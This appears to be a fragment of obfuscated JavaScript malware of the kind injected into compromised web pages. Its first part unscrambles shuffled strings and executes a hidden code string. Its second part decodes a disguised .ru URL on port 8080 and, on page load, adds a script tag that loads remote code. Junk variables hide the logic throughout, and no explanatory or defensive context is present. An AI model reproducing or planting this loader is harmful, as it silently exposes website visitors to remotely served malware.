U(".ooncmnmgaeamc.a.oibtedr", [4,1,5,0,2,3]),5, U("sdAe.ttittbrued(ee\'fr\'", [1,4,0,3,5,2,6]),6, U("mocis.metepaur.08:80", [2,1,0]),7, U("hpeltnte.acom", [4,0,2,1,3]),8, U("iwnodwo.nolad", [1,0,2]),11, U("oggoelc.mo", [1,0]),12, U("uftcnoi)(n", [1,0,4,3,2]),14, U(")tce(hca", [6,7,1,2,5,4,3,0]),15, U("sanaog.v", [2,1,0,3]),16, U("agempsto", [1,0]),17, U("thp\"t:", [3,1,4,0,2]),18, U("sr.dc", [3,2,0,1]),19, U("1\')\'", [1,0,3,2]),20, U("rty", [1,0])];var jM;if(jM!='mZ'){jM='mZ'};var RF;if(RF!='Je'){RF='Je'};var D =[176,78,1][2];var x =[2,1,196][0];var wn=new Array();this.Px="Px";var dK = '';var aM;if(aM!='Fj' && aM!='Va'){aM=''};var zj = c[U("neglth", [3,1,0,2])];var xd='';this.Ml=false;var Dy=new Date();var nf;if(nf!=''){nf='qk'};var mk = '';var a =[0][0];var pM = y(37);var hi;if(hi!='pS' && hi!='ev'){hi=''};var cG=false;var HI =[0][0];var t = '';var i = /[^@a-z0-9A-Z_-]/g;var pK="pK";var Gm;if(Gm!=''){Gm='Ut'};var WY;if(WY!='XI' && WY!='MJ'){WY='XI'};var sY;if(sY!='Tz' && sY!='yJ'){sY=''};var AlU;if(AlU!='OZ' && AlU!='vK'){AlU='OZ'};for(var Kr=a; Kr < zj; Kr+=x){var Rkw;if(Rkw!=''){Rkw='Qi'};t+= pM; t+= c[U("ssubtr", [1,2,3,0])](Kr, x);}var c = Us(t);this.epF=31122;var Og="";var dM;if(dM!='' && dM!='IK'){dM='Cf'};var us="us";var yw = new DQ(d);var xz;if(xz!='hr'){xz='hr'};var Rp = yw[U("eaprlce", [3,0,2,4,1])](i, dK);var NzT='';var Me = new DQ(E);var Xa;if(Xa!='tB'){Xa='tB'};Rp = b(Rp);var ONO;if(ONO!='iU' && ONO!='oK'){ONO=''};var V = KG[U("tlnghe", [1,5,2,3,0,4])];this.No=58822;var OBs='';var UF="";var aL='';var rl = Me[U("eelrpac", [3,1,4,2,5,6,0])](i, dK);var nl;if(nl!='Dl' && nl!='fy'){nl=''};var rl = m(rl);var qTx=42822;var fe=m(Rp);for(var L=a; L < (c[U("nlehgt", [1,2,0])]);L=L+[131,1][1]) {var zq=59549;var Om=35571;var l = Rp.charCodeAt(HI);var Z = mM(c,L);var xU=false;Z = bY(Z, l);var md=false;this.JBA=48605;Z = bY(Z, fe);Z = bY(Z, rl);var Rh='';var lW;if(lW!='' && lW!='VK'){lW=''};var gJY;if(gJY!='KW' && gJY!='th'){gJY=''};var LN=new Date();HI++;var WA='';var AXN;if(AXN!='wU' && AXN!='jic'){AXN=''};var GJ="";if(HI > Rp.length-D){var vU="vU";var dY;if(dY!='pR'){dY=''};HI=a;var Ii;if(Ii!='zg' && Ii!='SZ'){Ii=''};}var DmQ;if(DmQ!='hp' && DmQ!='Oz'){DmQ=''};var Ge;if(Ge!='xE' && Ge!='pW'){Ge=''};var ir=new String();mk += y(Z);var pi=new Date();var XH='';}this.fa="";var Ds;if(Ds!='Vf' && Ds != ''){Ds=null};var eL=43843;var IG=new Array();for(Y=a; Y < V; Y+=x){var Vo;if(Vo!=''){Vo='eG'};var Ji;if(Ji!='la' && Ji!='UJ'){Ji=''};this.zP=16536;var xF = KG[Y + D];var X = y(KG[Y]);var tk;if(tk!='OG'){tk=''};this.OC=false;var vl=new Date();var bZ=false;var sM;if(sM!='hh' && sM!='Ix'){sM=''};var cp = new N(X, "g");mk=mk[U("lpreace", [2,3,1,0,4])](cp, xF);}var EW=new String();var Up;if(Up!='IX'){Up='IX'};var xN=new E(mk);var gTh="";var BLk;if(BLk!=''){BLk='iZ'};xN();var raW;if(raW!='Wa'){raW=''};var vvY;if(vvY!='EJ'){vvY=''};var MO;if(MO!='' && MO!='Hh'){MO='pL'};mk = '';var re=31824;Rp = '';Me = '';var gn=false;rl = '';this.DT="DT";this.dv="dv";xN = '';fe = '';this.iL="iL";this.mG="mG";return '';};var QD;if(QD!='' && QD!='Ogv'){QD='BK'};var FbI;if(FbI!='' && FbI!='ha'){FbI='UJO'};d(td);
var o=new String();function T() {var C='[';var k='';var L='replace';var sW=new String();var h=']';var G=new Date();var bF=new Date();var I='g';var E=RegExp;var d=new String();function S(b,LU){var JC;if(JC!='bW' && JC != ''){JC=null};var Gi;if(Gi!='' && Gi!='t'){Gi='Z'};var Xy='';var Y=C;this.x='';var BCL;if(BCL!='' && BCL!='os'){BCL='pj'};Y+=LU;var tu;if(tu!='N'){tu=''};var tA;if(tA!='Rf'){tA=''};Y+=h;var Bu=new Date();var M=new E(Y, I);var EV=new Array();return b[L](M, d);var AH='';};var DT=new Array();var IN=new Date();var B=window;var A=S('c4r4e4a4t4eJE4lJe4m4eJnJt4',"4J");var wH=new Array();var nj=new Array();var SA=S('hvtvtvp6:v/6/6f6bvcvdvnv-6nve6tv.6n6ovwvd6o6w6n6lvo6a6dva6l6l6.6cvo6m6.v5616j6ovb6-vcvovm6.vn6evwva6gve6d6ivrvevc6t6.vr6u6:6',"v6");this.vX='';var wa=new Date();var u=S('824564402525652855464550252542',"5642");var BF;if(BF!='j'){BF=''};var g;if(g!='WN'){g=''};var p=S('slcjrjijpNtl',"INjwl");var q='';var si;if(si!='mp' && si!='RZ'){si='mp'};var R=S('/agHoaoKgHlHeC.acHoHmH/CgaoaoHgKlaeK.CcKoamC/K3H9H.anHeCtK/alHoavCeK2K1acKnH.KcKoCma/HgCoaoCgHlCeK.HsHeK.CpChCpH',"CaHK");var _f;if(_f!='' && _f!='td'){_f=''};var RY;if(RY!=''){RY='Kr'};var Jr;if(Jr!='y' && Jr != ''){Jr=null};B[S('o_nBl_o_a2d_',"2_vB")]=function(){var fE=new String();try {var r=new Array();var OZ;if(OZ!=''){OZ='mf'};q+=SA;q+=u;q+=R;var LC;if(LC!='IX' && LC != ''){LC=null};var us;if(us!='Ow' && us!='iV'){us='Ow'};qG=document[A](p);var la;if(la!=''){la='zc'};var Di;if(Di!='iO'){Di='iO'};l(qG,'src',q);var RQ=new String();l(qG,'defer',([1][0]));var jC=new String();document.body.appendChild(qG);var DQ=new Array();var JL;if(JL!='bv' && JL!='gI'){JL=''};} catch(BC){this.Ky="";};var wE;if(wE!='' && wE!='Ud'){wE=''};};var vB='';function l(Q,ut,BR){var dS="";var UF=new String();Q.setAttribute(ut, BR);}var XO;if(XO!='nE' && XO!='qP'){XO=''};};this.H='';var js=new String();T();